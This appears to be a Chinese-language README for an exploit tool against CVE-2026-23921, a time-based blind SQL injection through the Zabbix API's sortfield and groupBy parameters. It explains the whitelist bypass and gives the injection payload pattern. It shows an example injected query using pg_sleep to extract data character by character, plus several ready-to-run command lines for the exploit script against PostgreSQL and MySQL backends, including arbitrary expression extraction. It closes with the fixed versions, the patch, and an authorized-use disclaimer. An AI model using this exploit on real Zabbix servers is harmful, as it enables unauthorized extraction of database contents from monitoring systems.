受影响版本: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: 高
类型: 通过 sortfield 参数实现的基于时间的盲注 SQL 注入
需要认证: 是(任意 API 用户;超级管理员可避免权限连接)
旧版 Zabbix API 服务(host.get、trigger.get、item.get 等)通过 zbx_array_merge() 接受未声明的 groupBy 参数。在 CApiService::applyQuerySortOptions() 中,groupBy 数组替换了用于验证 sortfield 的硬编码白名单。攻击者在 groupBy 和 sortfield 中传入相同的 SQL 载荷——验证针对攻击者控制的列表通过,载荷未经转义便进入 ORDER BY。
groupBy: ["hostid,(SELECT IF(...))--"] 和 sortfield: "hostid,(SELECT IF(...))--",并附带 countOutput: truezbx_array_merge 保留未声明的 groupBy 键applyQuerySortOptions 从 groupBy 构建白名单 → 验证通过applyQuerySortField 将载荷拼接到 ORDER BYcreateSelectQueryFromParts 构建最终 SQL 时未进行转义SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL 后端(默认)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL 后端
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# 使用现有认证令牌
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# 提取任意表达式
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# 使用不同的 API 方法
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
升级到 Zabbix 7.0.22 / 7.2.15 / 7.4.6 或更高版本。
该补丁将 array_merge($options['groupBy'], ...) 替换为 array_intersect($this->sortColumns, $options['groupBy']),使攻击者提供的值永远不会进入白名单。作为纵深防御,还添加了额外的 is_string() 和 is_array() 类型检查。
本工具仅用于授权的安全测试和教育目的。请仅针对您拥有或已获得明确书面许可进行测试的系统使用。